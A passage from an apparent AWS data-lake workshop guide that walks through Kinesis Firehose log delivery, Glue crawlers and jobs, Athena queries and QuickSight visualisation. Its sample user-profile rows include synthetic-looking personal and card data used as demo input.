CloudFormation stack output. If the CloudFormation stack has not yet completed, please wait until it has completed.\n\nWe will verify that the log files are moving from the cloudwatch logs to the S3 bucket via Kinesis Firehose.\n\n**It may take a few minutes for data to show up in Kinesis**\n\n>**Note:** If you are using Amazon Kinesis for the firt time then you will see the gettting started page. Click on **Get started** button to continue\n\n\n1. Under Services, Type 'Kinesis'.\n1. Under 'Kinesis Firehose Delivery Streams', select ^stackname^-ApacheLogsKinesis-*random id*.\n1. Click the monitoring tab.\n1. Here you will see the delivery stream metrics.\n1. **Incoming Bytes**: The amount of data ingested by the stream.\n1. **Incoming Records**: The number of records ingested by the stream .\n1. **Execute Processing Duration**: The amount of time it takes to transform the data in the lambda function before it lands in S3.\n1. **Execute Process Success**: The number of successful transformation calls by the stream.\n1. **SucceedProcessing Records**: The number of records successfully processed.\n1. **SucceedProcessing Bytes**: The amount of data successfully processed.\n1. **DeliveryToS3 DataFreshness**: The age, in seconds, of the oldest record in the stream. All other data has been processed.\n1. **DeliveryToS3 Success**: The number of files written to S3.\n1. **DeliveryToS3 Records**: The number of records written to S3.\n1. **DeliveryToS3 Bytes**: The number of bytes written to S3.\n1. Click the Details Tab at the top.\n1. Find the 'Amazon S3 destination' section and click the link for the S3 bucket.\n1. Click 'weblogs'.\n1. Drill down into today's date & time and choose a file. The files will be stored in UTC time.\n1. Click 'Open' and open the file in a text editor.\n1. It should contain the IP, username, timestamp, request path, and bytes downloaded.\n\n\n
    Additional Details\n\nThere's a lot going on here and worth exploring. In reality, there is a lambda function generating the log data and writing it to CloudWatch logs. CloudWatch logs then has a Subscription Filter that will write any logs in the /^stackname^/apache log group to Kinesis Firehose.\n\nYou can see this configured in the CloudFormation script.\n\n
      CloudWatchLogsToKinesis:\n    Type: AWS::Logs::SubscriptionFilter\n    Properties: \n      DestinationArn: !Sub ${ApacheLogsKinesis.Arn}\n      FilterPattern: \"\"\n      LogGroupName: !Sub ${ApacheLogs}\n      RoleArn: !Sub ${LogsToKinesisServiceRole.Arn}
    \n    \n\nThe was done automatically in the lab because setting up the IAM Roles can be very tedious and time consuming.\n\nLastly, the logs written from CloudWatch to Kinesis are in a compressed JSON format. Not only are they harder to read in a compressed JSON format, they aren't written in a JSON compliant format. Each line is a JSON file, but there aren't commas between each line so JSON parsing fails. To correct for this a Firehose transform will execute a lambda function that decompresses the file and returns the data payload which is in a CSV format.\n\n
    \n\n\n# Serverless Extract, Transform and Load using AWS Glue\n\nGenerally, raw data is unstructured/semi-structured and inefficient for querying. In its raw format, Apache Weblogs are difficult to query. Also, a lot of times there is a need to transform the raw datasets by either augmenting or reducing the data to derive meaningful insights.\nAs part of this lab we will start with creating the table definitions (schemas) from the raw datasets that we have.\nBelow are the datasets that we will be working with:\n- `useractivity.csv`\n- `zipcodedata .csv`\n- `userprofile.csv`\n\nThese datasets are downloaded into the S3 bucket at:\n\n```\n s3://^ingestionbucket^/raw/useractivity\n s3://^ingestionbucket^/raw/userprofile\n s3://^ingestionbucket^/raw/zipcodes\n```\n\n## Discover Data\n\nFor this lab we will focus on weblogs data which is captured in `useractivity.csv` file. The data is in CSV format like below:\n\n\nip_address\t  | username   |\ttimestamp\t     |       request\t          |          http  |\tbytes\n--------------| ---------- | -------------------- | ------------------------- | -------------- | ---------\n105.156.115.196 |\tontistesns0 |\t17/Jan/2018:10:43:54 |\tGET /petstore/Cats/Treats |\t200 |\t    314\n57.143.147.52 |\tagkgamyaar4 |\t14/Jun/2018:06:39:54 |\tGET /petstore/Fish/Food |\t    200\t |    575\n29.152.175.209 |\tnealaoaaoc9 |\t6/Jan/2018:06:51:54 |\t    GET /petstore/Bird/Treats |\t200\t |    419\n\n\nThe second data set that we have is demographic data from `zipcodedata.csv` file. The data is in CSV format like below:\n\n\nZipcode | ZipCodeType | City\t |  State  |   LocationType  |\tLat | Long | Location | Decommisioned\n----------| ----- | -------- | ---------- | ------------- | --------- | ---------- | ------------- | ---------\n705 |\tSTANDARD |\tAIBONITO |\tPR |\tPRIMARY |\t18.14 |\t-66.26 |\tNA-US-PR-AIBONITO |\tFALSE\n610 |\tSTANDARD |\tANASCO |\tPR |\tPRIMARY\t| 18.28 |\t-67.14 |\tNA-US-PR-ANASCO |\tFALSE\n611 |\tPO BOX |\tANGELES |\tPR |\tPRIMARY\t| 18.28\t| -66.79 |\tNA-US-PR-ANGELES |\tFALSE\n612 |\tSTANDARD |\tARECIBO |\tPR |\tPRIMARY |\t18.45\t| -66.73 |\tNA-US-PR-ARECIBO |\tFALSE\n\n\nThe third data set that we have is user profiles data in `userprofile.csv` file. The data is in CSV format like below:\n\nfirst_name | last_name | username |\temail |\tgender |  phone | zip |\tcc | password |\tssn | age | \n---------| --- | ---- | ------ | ------------ | ----------- | ----------| ---------- | ------- | ------ | ---- | \nAntonetta | Stills |ontistesns0 | AntonettaStills@gmail.com | F | \t274-218-6653 |\t76059 |\t6835-5177-8166-5873 |\tettttoette6 |\t116-48-1824 |\t35\nMaragret |\tKatayama |\tagkgamyaar4 |\tMaragretKatayama@adobe.com |\tF |\t751-343-4134 |\t82411 |\t1353-4321-3472-8117 |\trgtyrraara6 |\t211-26-5867 |\t24\nLakendra |\tCacciola |\tnealaoaaoc9 |\tLakendraCacciola@nytimes.com | F |\t552-251-2661 |\t19086 |\t4773-6731-7825-3365 |\tncirciCadr8 |\t446-73-7861 |\t61\n\n\n### Create Glue Data Catalog Database\n\n1. From AWS Management Console, in the search text box, type **AWS Glue**, select **AWS Glue** service from the filtered list to open AWS Glue console OR Open the AWS Management console for Amazon Glue.\n2. To analyze the weblogs dataset, you start with a set of data in S3. First, you will create a database for this workshop within AWS Glue. A database is a set of associated table definitions, organized into a logical group.\n3. From the left hand menu of the AWS Glue console, click **Databases**\n4. Click on the **Add Database** button.\n5. Enter the Database name as `weblogs`. You can skip the description and location fields and click on **Create**.\n\n### Crawl datasets to create table definitions\n\nThe first step is to crawl the datasets to create table definitions in Glue Data Catalog database `weblogs`. The table definitions will help us understand this unknown dataset; you will discover that the data is in different formats depending on the IT system that provided the data.\n\nAWS Glue crawler will create the following tables in the `weblogs` database:\n- `useractivity`\n- `userprofile`\n\n#### Steps to create crawler\n\n1. From AWS Management Console, in the search text box, type **AWS Glue**, select **AWS Glue** service from the filtered list to open AWS Glue console OR Open the AWS Management console for Amazon Glue.\n2. From the **AWS Glue** dashboard, from the left hand menu select **Crawlers** menu item\n3. From the **Crawlers** page, click the **Add crawler** button\n4. On the **Crawler Info** wizard step, enter crawler name `rawdatacrawler`, keep the defaults on the page the same and click **Next** button\n5. On the **Data Store** step, choose S3 from **Choose a data store** drop down. Enter `s3://^ingestionbucket^/raw` as S3 bucket location for **Include path**.\n5. Expand the **Exclude patterns (optional)** section and enter `zipcodes/**` in **Exclude patterns** text box (We will exclude the zipcodes file in this exercise and pick it up later in the lab). Click the **Next** button\n6. Choose **No** and click **Next** on **Add another data store**\n7. On the **IAM Role** step, choose the **Choose an existing IAM role** option and select `^gluerole^` from **IAM role** drop down. click **Next**\n8. On the **Schedule** step keep the default **Run on demand** option and click **Next**\n9. On the **Output** step, choose the `weblogs` database from the **Database** drop down. Keep defaults the same and click **Next** button\n10. On the **Review all steps** step, review the selections and click **Finish**. This should take you back to the **Crawlers** dashboard\n11. On the **Crawlers** dashboard, select the crawler that you created in the above steps and click the **Run Crawler** button\n12. The crawler will go into *Starting* to *Stopping* to *Ready* state\n13. Once the crawler is in *Ready* state, from the left hand menu select **Databases**\n14. From the **Databases** page select *weblogs* database and select **Tables in weblogs** link. You should see two tables `useractivity` and `userprofile` listed.\n15. From the **Tables** page, select `useractivity` table and explore the table definition that glue crawler created.\n16. From the **Tables** page, select `userprofile` table and explore the table definition that glue crawler created.\n\n\n### Data flattening and format conversion\n\nOnce the `useractivity` and `userprofile` table definitions are created, the next step is to create a glue job. In this job we will flatten the *request* and *timestamp* columns and convert the original file format from csv to a compact, efficient format for analytics, i.e. Parquet. We will evaluate the query efficiencies in Athena based on source file formats. \n\nThe converted table will look like this:\n\nip_address|username |timestamp | request|http | bytes |  requesttype|topdomain|toppage|subpage | date  | time | year | month\n---- | ----| ------------ | ----------| ----| --------| ------------ | ------ | ------ | ----- | ------ | ---- | ---- | ----\n105.156.115.196 |\tontistesns0 |\t17/Jan/2018:10:43:54 |\tGET /petstore/Cats/Treats |\t200 |\t    314 |   GET  |        petstore |   Cats  |  Treats | 17/Jan/2018 | 10:43:54 | 2018 | 1 \n57.143.147.52 |\tagkgamyaar4 |\t14/Jun/2018:06:39:54 |\tGET /petstore/Fish/Food\t|    200\t|    575  |   GET    |     petstore  |  Fish  |  Food  |  14/Jun/2018  | 06:39:54 | 2018 | 6\n29.152.175.209 |\tnealaoaaoc9 |\t6/Jan/2018:06:51:54\t |   GET /petstore/Bird/Treats |\t200\t   | 419   |  GET    |     petstore |   Birds  | Treats  | 6/Jan/2018 | 06:51:54 | 2018 | 1\n\n\n#### Steps to create glue job\n As part of this step you will create a glue job, update the default script and run the job. We will be using the AWS Management Console to create a SageMaker Jupyter notebook which will run the scripts on an AWS Glue Development Endpoint. Development endpoints provide the compute needed to run the Spark Job without having to wait until a cluster gets created to execute the code. This will reduce the feedback loops in the development and testing effort.\n\n > **Note:** For those who have not worked with Jupyter notebooks, think of them as a Integrated Development Environment (IDE). It is simply a place you can write, annotate, and execute code. Code is organized in blocks/section and each block can be executed one at a time.\n\n1. From the AWS Management Console, in the search text box, type **AWS Glue**, select **AWS Glue** service from the filtered list to open AWS Glue console OR Open the AWS Management console for Amazon Glue.\n2. From the AWS Glue dashboard left hand menu select checkbox **Dev endpoints** menu item\n3. From the **Dev endpoints** menu page, selct the checbox by the '^stackname^' endpoint. click **Action** button and **Create SageMaker Notebook**.\n4. Follow the instructions in the **Create Notebook** screen.\n   - Under the  **Notebook Name** step, Enter aws-glue-`^stackname^`\n   - Under the **Attach to development endpoint** drop down select datalake-^stackname^ \n   - Select 'Choose an existing IAM Role' radio button.\n   - For the IAM Role, select `^gluerole^`\n   - For VPC (option), select `DataLakeVpc-^stackname^`\n   - For the Subnet, select `Public-DataLakeVpc-^stackname^`\n   - Select the security group that starts with '^stackname^-GlueSecurityGroup'\n   - Use the defaults for KMS and click `Create Notebook`\n   - Wait until the Notebook is in the 'Ready' state.\n5. Select the Notebook `aws-glue-^stackname^`, and select 'Open Notebook'. Once the notebook opens, select the `New` button and choose `Terminal`. Now copy the sample notebook from your bucket into the notebook by entering the following command into the terminal window\n```\naws s3 cp s3://^ingestionbucket^/instructions/labs.ipynb SageMaker/labs.ipynb\n```\n5. Click the Jupyter icon in the upper left to return the main menu.\n6. Now you should see **labs.ipynb** in the list. Click it to open and follow the instructions. \n7. Select each code block under the **Initialization** heading and click the **Run** button to run the code in each code block. **Please wait for the 1st section to complete before running the second section.**\n8. Next select the code block under the **Lab - Transform / Decode data with AWS Glue** heading and click the **Run** button. This code creates a Glue job to split apart and transform some of the data elements.\n9.  Once the job is succeeded, go to S3 console and browse to `s3://^ingestionbucket^/weblogs/useractivityconverted` S3 bucket\n10. Under the `useractivityconverted` S3 folder you should see Parquet files created by the job, partitioned by `toppage` column.\n\n#### Explore the new dataset that we created in the previous step\n\n1. From the AWS Management Console, in the search text box, type **AWS Glue**, select the **AWS Glue** service from the filtered list to open AWS Glue console OR Open the AWS Management console for Amazon Glue.\n2. From the **AWS Glue** dashboard, from the left-hand menu select **Crawlers** menu item\n3. From the **Crawlers** page, click **Add crawler** button\n4. On the **Crawler Info** wizard step, enter crawler name `useractivityconvertedcrawler`, keep the default on the page and click **Next** button\n5. On the **Data Store** step, choose S3 from **Choose a data store** drop down. Enter `s3://^ingestionbucket^/weblogs/useractivityconverted` as S3 bucket location for **Include path**. Keep other defaults the same and click **Next** button\n6. Choose **No** and click **Next** on **Add another data store** \n7. On the **IAM Role** step, choose **Choose an existing IAM role** option and select `^gluerole^` from **IAM role** drop down. Click **Next**\n8. On the **Schedule** step keep the default **Run on demand** option and click **Next**\n9. On the **Output** step, choose `weblogs` database from the **Database** drop down. Keep defaults the same and click **Next** button\n10. On the **Review all steps** step, review the selections and click **Finish**. This should take you back to the **Crawlers** dashboard\n11. On **Crawlers** dashboard, select the crawler that you created in above steps and click **Run Crawler** button\n12. The crawler status should change from *Starting* to *Stopping* to *Ready* state\n13. Once the crawler is in the *Ready* state, from the left hand menu select **Databases**\n14. From the **Databases** page select `weblogs` database and select **Tables in weblogs** link. You should see 3 tables `useractivity`, `userprofile` and `useractivityconverted` listed.\n15. From the `Tables` page, select `useractivityconverted` table and explore the table definition that glue crawler created.\n\n\t\n# Serverless Analysis of data in Amazon S3 using Amazon Athena\n\n> If you are using Amazon Athena for the first time, follow the Setting Up Amazon Athena to make sure you have the correct permissions to execute the lab. Refer section Attach Managed Policies for Using Athena.\n\n> In this workshop we will leverage the AWS Glue Data Catalog `weblogs` for serverless analysis in Amazon Athena. If you are new to Athena you can leverage AWS Glue Data Catalog, but if you had previously created databases and tables using Athena or Amazon Redshift Spectrum but not upgraded Athena to use AWS Glue Data Catalog, then please follow the steps in [Upgrading to the AWS Glue Data Catalog Step-by-Step](https://docs.aws.amazon.com/athena/latest/ug/glue-upgrade.html) documentation before proceeding further.\n\nAthena integrates with the AWS Glue Data Catalog, which offers a persistent metadata store for your data in Amazon S3. This allows you to create tables and query data in Athena based on a central metadata store available throughout your AWS account and integrated with the ETL and data discovery features of AWS Glue.\n\n\n> **Note:** In regions where AWS Glue is supported, Athena uses the AWS Glue Data Catalog as a central location to store and retrieve table metadata throughout an AWS account.\n\n### Explore AWS Glue Data Catalog in Amazon Athena\n1. From the AWS Management Console, in the search text box, type **Amazon Athena**, select **Amazon Athena** service from the filtered list to open Amazon Athena console OR Open the AWS Management Console for Athena.\n2. If this is your first time visiting the AWS Management Console for Athena, you will get a Getting Started page. Choose **Get Started** to open the Query Editor. If this isn't your first time, the Athena Query Editor opens.\n3. Make a note of the AWS region name, for example, for this lab you will need to choose the **US East (N. Virginia)** region.\n4. In the **Athena Query Editor**, you will see a query pane with an example query. Now you can start entering your query in the query pane.\n5. On left hand side of the screen, under **Database** drop down select `weblogs` database if not already selected. After selecting `weblogs` you should see tables `useractivity`, `userprofile` and `useractivityconverted` listed.\n\n### Querying data from Amazon S3\nNow that you have created the tables, you can run queries on the data set and see the results in AWS Management Console for Amazon Athena.\n\n1. Choose **New Query**, copy the following statement into the query pane, and then choose **Run Query**.\n\n```SQL\nSELECT count(*) as TotalCount FROM \"weblogs\".\"useractivity\" where request like '%Dogs%';\n\n```\n\nResults for the above query look like the following: \n\n  | TotalCount |\n  | ------  | \n  |\t2064987 |\n\n> **Note:** The current format is CSV and this query is scanning ~675MB of data and takes ~ 3.2 seconds to execute\n\n\n2. Make a note of query execution time for later comparison while querying the data set in Apache Parquet format.\n3. Choose **New Query** or click **+**, copy the following statement into the query pane, and then choose **Run Query** to query for the number of hits per user per page\n\n```SQL\nSELECT\n  \"y\".\"username\" \"username\"\n, \"y\".\"request\" \"request\"\n, \"max\"(\"y\".\"requests\") \"hits\"\nFROM\n  (\n   SELECT\n     \"username\"\n   , \"request\"\n   , \"count\"(\"request\") \"requests\"\n   FROM\n    useractivity  \n   GROUP BY \"username\", \"request\"\n   ORDER BY \"username\" ASC\n)  y\nwhere \"y\".\"request\" like '%Dogs%'\nGROUP BY \"y\".\"username\", \"y\".\"request\"\n\n```\n\nResults for the above query look like the following: \n\nusername |\trequest |\thits\n--------- | ------- | ----\naaaaaahtac7 |\t\"GET /petstore/Dogs/DryFood\" |\t4\naaaaaihrai7 |\t\"GET /petstore/Dogs/FoodToppers\" |\t13\naaaadwdaba2 |\t\"GET /petstore/Dogs/FoodToppers\" |\t6\n\n> **Note:** The current format is CSV and this query is scanning ~675MB of data and takes ~5 seconds to execute\n\n\n### Querying partitioned data using Amazon Athena\n\nBy partitioning your data, you can restrict the amount of data scanned by each query, thus improving performance and reducing cost. Athena leverages Hive for partitioning data. You can partition your data by any key. A common practice is to partition the data based on time, often leading to a multi-level partitioning scheme. For our weblogs data you will partition it by `request` as we want to understand the number of hits a user makes for a given `toppage`\n\n1. Choose **New Query*** or **+**, copy the following statement into the query pane, and then choose **Run Query** to get the total number of hits for Dog products\n\n```SQL\nSELECT count(*) as TotalCount FROM \"weblogs\".\"useractivityconverted\" where toppage = 'Dogs';\n\n```\nResults for the above query look like the following: \n\n  | TotalCount |\n | ------   |\n  |\t2064987 |\n\n> **Note:** This query executes much faster because the data set is partitioned and it is in an optimal format - Apache Parquet (an open source columnar). The amount of data scanned is 0KB and it takes ~1.5 seconds to execute. Athena charges you by the amount of data scanned per query. You can save on costs and get better performance if you partition the data, compress data, or convert it to columnar formats such as Apache Parquet.\n\n2. Choose **New Query** or **+**, copy the following statement into the query pane, and then choose **Run Query** to get the total number of hits per user per request\n\n```SQL\nSELECT\n username, \n toppage, \n count(toppage) as hits\nFROM useractivityconverted \nwhere toppage = 'Dogs'\nGROUP BY username, toppage\n\n```\n\nResults for the above query look like the following: \n\nusername |\ttoppage |\thits\n-------- | ----- | ---\nsossepepsl0 |\tDogs |\t5\netraglhwaa0 |\tDogs |\t21\nanpnlrpnlm9 |\tDogs |\t12\n\n> **Note:** This query executes on partitioned Parquet format data, the amount of data scanned is only ~750KB and it takes ~2.6 seconds to execute. Athena charges you by the amount of data scanned per query. You can save on costs and get better performance if you partition the data, compress data, or convert it to columnar formats such as Apache Parquet.\n\n# Join and relationalize data with AWS Glue\n\nIn previous sections we looked at how to work with semi-structured datasets to make them easily queryable and consumable. In the real world, hardly anyone works with just one dataset. Normally you would end up working with multiple datasets from various datasources having different schemas. \n\nIn this exercise we will see how you can leverage AWS Glue to join different datasets to load, transform, and rewrite data in AWS S3 so that it can easily and efficiently be queried and analyzed.\nYou will work with `useractivity` and `userprofile` datasets, the table definitions for which were created in the previous section.\n\n### Create AWS Glue job \n\n > Return to the SageMaker notebook.\n\n1. If you closed the jupyter notebook, follow the steps 1-3 to reopen the notebook. From AWS Management Console, in the search text box, type **AWS Glue**, select **AWS Glue** service from the filtered list to open AWS Glue console OR Open the AWS Management Console for AWS Glue.\n2. From the **Notebook Servers** menu page, Select the `aws-glue-^stackname^` notebook and click **Open Notebook** button\n3. Open the labs workbook\n4. Find the section **Lab - Join and relationalize data with AWS Glue**\n5. Let's update the code to add our custom logic to flatten the columns.\n\n5. Select the **Run ** button to execute the glue job, \n6. On the **Parameters (optional)** dialog, keep the default and click **Run job** button\n10. Once the job is succeeded, go to S3 console and browse to `s3://^ingestionbucket^/weblogs/joindatasets` S3 bucket\n11. Under the `joindatasets` S3 folder you should see Parquet files created by the job\n\n#### Explore the new dataset created in the previous step \n\n1. From the AWS Management Console, in the search text box, type **AWS Glue**, select **AWS Glue** service from the filtered list to open AWS Glue console OR Open the AWS Management Console for AWS Glue.\n2. From the **AWS Glue** dashboard, from the left hand menu select **Crawlers** menu item\n3. From the **Crawlers** page, click **Add crawler** button\n4. On the **Crawler Info** wizard step, enter crawler name `joindatasetscrawler`, keep the default on the page and click **Next** button\n5. On the **Data Store** step, choose S3 from **Choose a data store** drop down. Choose `s3://^ingestionbucket^/weblogs/joindatasets` S3 bucket location from **Include path**. Keep other defaults the same and click **Next** button\n6. Choose **No** and click **Next** on **Add another data store** \n7. On the **IAM Role** step, choose **Choose an existing IAM role** option and select `^gluerole^` from **IAM role** drop down. click **Next**\n8. On **Schedule** step keep the default **Run on demand** option and click **Next**\n9. On **Output** step, choose `weblogs` database from **Database** drop down. Keep default the same and click **Next** button\n10. On the **Review all steps** step, review the selections and click **Finish**. This should take you back to the **Crawlers** dashboard\n11. On the **Crawlers** dashboard, select the crawler that you created in the above steps and click **Run Crawler** button\n12. The crawler will go into *Starting* to *Stopping* to *Ready* state\n13. Once the crawler is in *Ready* state, from the left hand menu select **Databases**\n14. From the **Databases** page select `weblogs` database and select **Tables in weblogs** link. You should see table `joindatasets` listed along with previously created tables.\n15. From the **Tables** page, select `joindatasets` table and explore the table definition that glue crawler created.\n\n# Serverless Analysis of data in Amazon S3 using Amazon Athena Contd.\nIn previous sections we saw how Athena can leverage the AWS Glue Data Catalog. In this section we will explore how you can create a new table schema in Athena but still use the same AWS Glue Data Catalog. When you create a new table schema in Athena, Athena stores the schema in a data catalog and uses it when you run queries. Athena uses an approach known as schema-on-read, which means a schema is projected on to your data at the time you execute a query. This eliminates the need for data loading or transformation. Athena does not modify your data in Amazon S3.\n\n> **Note:** In regions where AWS Glue is supported, Athena uses the AWS Glue Data Catalog as a central location to store and retrieve table metadata throughout an AWS account.\n\nFor this exercise we will use the zip code to city and state mapping from the below S3 bucket\n\n```\n  s3://^ingestionbucket^/raw/zipcodes\n\n```\n> Note: The above dataset is listed here\n\nThe `zipcodedata.csv` file contains data in CSV format like below:\n\nZipcode | ZipCodeType | City\t |  State  |   LocationType  |\tLat | Long | Location | Decommisioned \n----------| ----- | -------- | ---------- | ------------- | --------- | ---------- | ------------- | ---------\n705 |\tSTANDARD |\tAIBONITO |\tPR |\tPRIMARY |\t18.14 |\t-66.26 |\tNA-US-PR-AIBONITO |\tFALSE\n610 |\tSTANDARD |\tANASCO |\tPR |\tPRIMARY\t| 18.28 |\t-67.14 |\tNA-US-PR-ANASCO |\tFALSE\n611 |\tPO BOX |\tANGELES |\tPR |\tPRIMARY\t| 18.28\t| -66.79 |\tNA-US-PR-ANGELES |\tFALSE\n612 |\tSTANDARD |\tARECIBO|\tPR |\tPRIMARY |\t18.45\t| -66.73 |\tNA-US-PR-ARECIBO |\tFALSE\n\n### Create a table in Amazon Athena Data Catalog\n\n> **Note:** When creating the table, you need to consider the following:\n\n  - You must have the appropriate permissions to work with data in the Amazon S3 location. For more information, refer to [Setting User and Amazon S3 Bucket Permissions](http://docs.aws.amazon.com/athena/latest/ug/access.html).\n  - The data can be in a different region from the primary region where you run Athena as long as the data is not encrypted in Amazon S3. Standard inter-region data transfer rates for Amazon S3 apply in addition to standard Athena charges.\n  - If the data is encrypted in Amazon S3, it must be in the same region, and the user or principal who creates the table must have the appropriate permissions to decrypt the data. For more information, refer to [Configuring Encryption Options](http://docs.aws.amazon.com/athena/latest/ug/encryption.html).\n  - Athena does not support different storage classes within the bucket specified by the LOCATION clause, does not support the GLACIER storage class, and does not support Requester Pays buckets. For more information, see [Storage Classes](http://docs.aws.amazon.com/AmazonS3/latest/dev/storage-class-intro.html), [Changing the Storage Class of an Object in Amazon S3](http://docs.aws.amazon.com/AmazonS3/latest/dev/ChgStoClsOfObj.html), and [Requester Pays Buckets](http://docs.aws.amazon.com/AmazonS3/latest/dev/RequesterPaysBuckets.html) in the Amazon Simple Storage Service Developer Guide.\n\n1. From the AWS Management Console, in the search text box, type **Amazon Athena**, select **Amazon Athena** service from the filtered list to open Amazon Athena console OR Open the [AWS Management Console for Athena](https://console.aws.amazon.com/athena/home).\n2. Ensure `weblogs` is selected from the **Database** list and then choose **New Query**.\n3. In the query pane, copy the following statement to create `zipcodesdata` table, and then choose **Run Query**:\n\n> Replace the S3 bucket path in the script below with your S3 bucket path\n\n```SQL\nCREATE EXTERNAL TABLE IF NOT EXISTS zipcodesdata(\n  zipcode string , \n  zipcodetype string , \n  city string , \n  state string , \n  locationtype string , \n  lat string , \n  long string , \n  uslocation string , \n  decommisioned string )\nROW FORMAT SERDE \n  'org.apache.hadoop.hive.serde2.OpenCSVSerde' \nWITH SERDEPROPERTIES ( \n  'escapeChar'='\\\\', \n  'quoteChar'='\\\"', \n  'separatorChar'=',') \nSTORED AS TEXTFILE\nLOCATION\n  's3://^ingestionbucket^/raw/zipcodes'\nTBLPROPERTIES (\"skip.header.line.count\"=\"1\")\n\n```\n> **Note:**\n\n  - If you use CREATE TABLE without the EXTERNAL keyword, you will get an error as only tables with the EXTERNAL keyword can be created in Amazon Athena. We recommend that you always use the EXTERNAL keyword. When you drop a table, only the table metadata is removed and the data remains in Amazon S3.\n  - You can also query data in regions other than the region where you are running Amazon Athena. Standard inter-region data transfer rates for Amazon S3 apply in addition to standard Amazon Athena charges.\n  - Ensure the table you just created appears on the Catalog dashboard for the selected database.\n\n#### Querying data from Amazon S3 using Athena and Glue Data Catalog table schemas\n\nNow that you have created the table, you can run queries on the data set and see the results in the AWS Management Console for Amazon Athena.\n\n1. Choose **New Query**, copy the following statement into the query pane, and then choose **Run Query**.\n\n```SQL\n    SELECT * FROM \"weblogs\".\"zipcodesdata\" limit 10;\n```\n\nResults for the above query look like the following: \n\nzipcode | \tzipCodeType |\tcity |\tstate\t| locationtype |\tlat |\tlong |\tuslocation |\tdecommisioned\n-------- | ------------ | ---- | ------- | ---------- | ------ | ---- | -------- | --------------\n00705 |\tSTANDARD | \tAIBONITO |\tPR |\tPRIMARY |\t18.14 |\t-66.26 |\tNA-US-PR-AIBONITO |\tfalse\n00610 |\tSTANDARD |\tANASCO |\tPR |\tPRIMARY\t | 18.28 |\t-67.14 |\tNA-US-PR-ANASCO\t| false\n00611 |\tPO BOX |\tANGELES |\tPR |\tPRIMARY\t| 18.28\t| -66.79 |\tNA-US-PR-ANGELES |\tfalse\n\n2. Choose **New Query**, copy the following statement into the query pane, and then choose **Run Query** to query for the number of page views per state to see which users are interested in products. For this query we will join username across tables `joindatasets` and `zipcodesdata` \n\n```SQL\nSELECT state,\n        request as page,\n         count(request) AS totalviews\n    FROM zipcodesdata z, joindatasets  m\n    WHERE z.zipcode = m.zip\n    GROUP BY  state, request\n    ORDER BY  state\n\n```\n\n\n# Data Visualization using Amazon QuickSight\nIn this section we will visualize the data from the previous analysis in QuickSight. If you are new to Amazon QuickSight then you will have to sign up for QuickSight, refer to this **[Setting Up QuickSight](https://docs.aws.amazon.com/quicksight/latest/user/setup-new-quicksight-account.html#setup-quicksight-for-existing-aws-account)** documentation to get set up to use Amazon QuickSight. If you have only one user (author or admin), you can use Amazon QuickSight for free.\n\nOnce you have signed up for QuickSight successfully, the next step is to grant QuickSight permissions to your AWS resources. Please refer to **[Managing Amazon QuickSight Permissions to AWS Resources](https://docs.aws.amazon.com/quicksight/latest/user/managing-permissions.html)** documentation on how to grant these permissions.\n\n#### Configuring Amazon QuickSight to use Amazon Athena as data source\n1. From the Amazon QuickSight dashboard console, Click on **Manage data** on the top-right corner of the webpage to review existing data sets.\n2. Click on **New data set** on the top-left corner of the webpage and review the options.\n3. Select **Athena** as a Data source.\n4. On the **New Athena data source** dialog box, enter **Data source name** `weblogs-athena-datasource`\n5. Click on **Validate connection** to make sure you have the permissions to access Athena.\n6. Click **Create data source**. \n7. Choose `weblogs` database from **Database: contain sets of tables** dropdown, all tables under `weblogs` should get listed. You can choose a table to visualize the data or create a custom SQL. In this lab we will select a table.\n8. Select 'zipcodesdata'\n9. Click **Edit/Preview data** \n10. The Data visualizer will appear showing the zipcodes data table.\n > **Note:** In QuickSight, when creating a new data set based on a direct query to a database, you can choose an existing SQL query or create a new SQL query. You can use either an existing or new query to refine the data retrieved from a database, or to combine data from multiple tables. Using a SQL query, you can specify SQL statements in addition to any join criteria to refine the data set. If you want to join tables only by specifying the join type and the fields to use to join the tables, you can use the join interface instead. For more information about using the join interface, see [Joining Tables](https://docs.aws.amazon.com/quicksight/latest/user/joining-tables.html).\n  \n  > **Note:** SPICE is Amazon QuickSight's Super-fast, Parallel, In-memory Calculation Engine. SPICE is engineered to rapidly perform advanced calculations and serve data. By using SPICE, you save time because you don't need to retrieve the data every time you change an analysis or update a visual.\n\n  11. Click the **Add Data** link above the zipcodesdata. \n  13. Select `joindatasets` from the **Tables** list and click **select** The table appears in the join interface and a join appears between the two tables.\n  14. Choose the join (2 red dots) to open the **Configure join** pane.\n  15. Enter the join column information:\n      - In the **Data sources** section of the **Configure join** pane, click on **Enter a field**, choose the join column, `zipcode` for the `zipcodesdata` table. \n      - Choose the join column, `zip` for the table `joindatasets`.\n      > **Note:** You can select multiple join columns by clicking **+Add a new joint clause**\n  16. In the **Configure join** pane, under **Join types**, choose the **Inner** join type and click **Apply**\n      - The join icon updates to indicate that the join type and columns have been selected.\n      - The fields from the table to the right appear at the bottom of the **Fields** pane.\n  17. On the data preparation page, from the left hand pane, expand the **Fields** pane and notice that QuickSight automatically identifies geospatial data types like `zipcode`, `city`, `state` and so on.\n  18. Notice that QuickSight did not recognize the timestamp format by default since the logs have custom timestamp format. \n      - From the **Fields** pane select the `timestamp` field, select the dropdown arrow for the `timestamp` field.\n      - Select **Change data type** from the drop down menu\n      - Select **Date** from the **Type** menu\n      - On the **Edit date format** dialog, enter the format `dd/MMM/yyyy:HH:mm:ss` and click **Validate**. You should see that QuickSight is now able to recognize the `timestamp` as a valid **Date** type\n      - Click **Update** to apply the change.  \n  19. From the **Fields** pane, filter the dataset to remove columns that are note required for analysis. Uncheck columns `bytes`, `firstname`, `zip`, `zipcodetype`, `http`, `uslocation`, `locationtype`,`decommissioned`\n  20. (Optional) At the top of the page, enter name for the dashboard `weblogs-insights`\n  20. Click **Save & visualize** \n  \n### Visualizing the data using Amazon QuickSight\n\nNow that you have configured the data source and created the custom sql, in this section you will filter the data to visualize the number of users by city and state.\n\n> **Note:** SPICE engine might take few minutes to load the data. You can start building the visualization as the data is getting loaded in the background.\n\n1. On the QuickSight dashboard page, under the **Visual Types** pane, select **Points on map** visualization.\n2. Expand the **Field wells** pane by clicking on the dropdown arrows at the top-right corner of the page under your username.\n3. From the **Field list** pane, drag the `state` field to the **Geospatial** bucket, drag the `city` field to the **Color** bucket and drag the `username` field to **Size** bucket\n4. Based on the above selections QuickSight should plot the data respectively across U.S maps.\n5. Click on the field name `username` in **Size** from **Field wells** to reveal a sub-menu.\n5. Select **Aggregate:Count distinct** to aggregate by distinct users.\n5. From the visualization you can see which state has the maximum number of users for the website.\n\n#### Add age based filter to visualize the dataset \n\n1. On the QuickSight dashboard page, click 